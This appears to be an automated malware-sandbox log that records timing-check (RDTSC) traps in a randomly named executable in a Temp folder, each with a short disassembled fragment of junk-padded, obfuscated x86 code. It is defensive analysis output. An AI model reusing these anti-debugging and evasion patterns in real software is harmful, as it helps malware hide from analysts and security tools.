Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5D20 second address: DF5D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5D26 second address: DF5D51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F099D172A77h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5D51 second address: DF5D72 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push esi 0x0000000d jng 00007F099C534106h 0x00000013 pop esi 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5EDF second address: DF5EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5EE5 second address: DF5EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5FCE second address: DF5FE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF5FE6 second address: DF6069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 18FEA392h 0x00000010 mov dword ptr [ebp+122D19FEh], edi 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F099C534108h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 jmp 00007F099C53410Fh 0x00000037 sbb edi, 1FCAFF7Ch 0x0000003d push 00000000h 0x0000003f xor ecx, dword ptr [ebp+122D391Fh] 0x00000045 push 00000003h 0x00000047 mov edi, ebx 0x00000049 push 66A998E0h 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F099C534112h 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DDBD92 second address: DDBDBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F099D172A6Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DDBDBE second address: DDBDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F099C534106h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E16DB9 second address: E16DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E16DBF second address: E16DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E16DC3 second address: E16DC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E16DC7 second address: E16DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F099C534106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F099C534116h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E16DED second address: E16DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E173FF second address: E17403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17403 second address: E1740D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1740D second address: E17411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17411 second address: E1741B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1741B second address: E1742F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F099C534106h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E175A3 second address: E175F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F099D172A6Dh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F099D172A70h 0x00000013 ja 00007F099D172A66h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f ja 00007F099D172A66h 0x00000025 jmp 00007F099D172A76h 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E175F1 second address: E175F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E175F7 second address: E1761A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F099D172A66h 0x0000000a jmp 00007F099D172A79h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1778A second address: E177A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099C534115h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1795B second address: E1798F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F099D172A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F099D172A6Fh 0x00000011 push edi 0x00000012 jmp 00007F099D172A76h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17B1C second address: E17B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17B20 second address: E17B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F099D172A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17B2C second address: E17B31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17C99 second address: E17CB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F099D172A70h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17CB3 second address: E17CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17DDF second address: E17DFD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F099D172A80h 0x00000008 jmp 00007F099D172A74h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E0C758 second address: E0C760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E0C760 second address: E0C769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DEE4D8 second address: DEE4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F099C534106h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jp 00007F099C534106h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DEE4ED second address: DEE4F2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DEE4F2 second address: DEE4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17F4B second address: E17F5C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F099D172A6Ch 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17F5C second address: E17F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jne 00007F099C53410Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17F6C second address: E17F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E17F74 second address: E17F7E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F099C534106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E18C49 second address: E18C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F099D172A6Ch 0x0000000c pop esi 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E18C65 second address: E18C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F099C534114h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edi 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DE0D9A second address: DE0DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F099D172A79h 0x0000000c jmp 00007F099D172A73h 0x00000011 jns 00007F099D172A6Ch 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F099D172A72h 0x0000001f jns 00007F099D172A66h 0x00000025 popad 0x00000026 popad 0x00000027 push edx 0x00000028 jne 00007F099D172A72h 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DE0DF8 second address: DE0DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1F55C second address: E1F560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1F986 second address: E1F990 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F099C534106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1FAFA second address: E1FB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1FB00 second address: E1FB12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F099C534106h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1FB12 second address: E1FB40 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F099D172A74h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007F099D172A66h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1FB40 second address: E1FB54 instructions: 0x00000000 rdtsc 0x00000002 js 00007F099C534106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1FB54 second address: E1FB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E1EAF6 second address: E1EAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E22BEA second address: E22BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E22F32 second address: E22F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F099C534114h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E22F50 second address: E22F6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A73h 0x00000007 jno 00007F099D172A66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E230D9 second address: E23103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F099C534106h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F099C534114h 0x00000011 popad 0x00000012 popad 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E262C4 second address: E262C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E262C8 second address: E262CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E26382 second address: E26388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E26F5A second address: E26F60 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E26F60 second address: E26F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F099D172A66h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E26F6A second address: E26F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E26F6E second address: E26F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F099D172A66h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E27087 second address: E2708B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2708B second address: E270A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F099D172A73h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E272E2 second address: E272E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E272E6 second address: E272EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E272EC second address: E272F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E27486 second address: E27494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A6Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E27594 second address: E275BE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F099C534106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F099C534119h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E275BE second address: E275C8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F099D172A6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E27AE2 second address: E27B2F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e pop edi 0x0000000f nop 0x00000010 add esi, dword ptr [ebp+122D361Fh] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F099C534108h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D2A2Ch], ecx 0x00000038 push 00000000h 0x0000003a sub dword ptr [ebp+122D30D4h], eax 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E284D1 second address: E28536 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F099D172A6Ch 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F099D172A68h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov si, 094Fh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F099D172A68h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 push eax 0x00000055 pop eax 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E28536 second address: E28540 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F099C53410Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E29516 second address: E2951C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
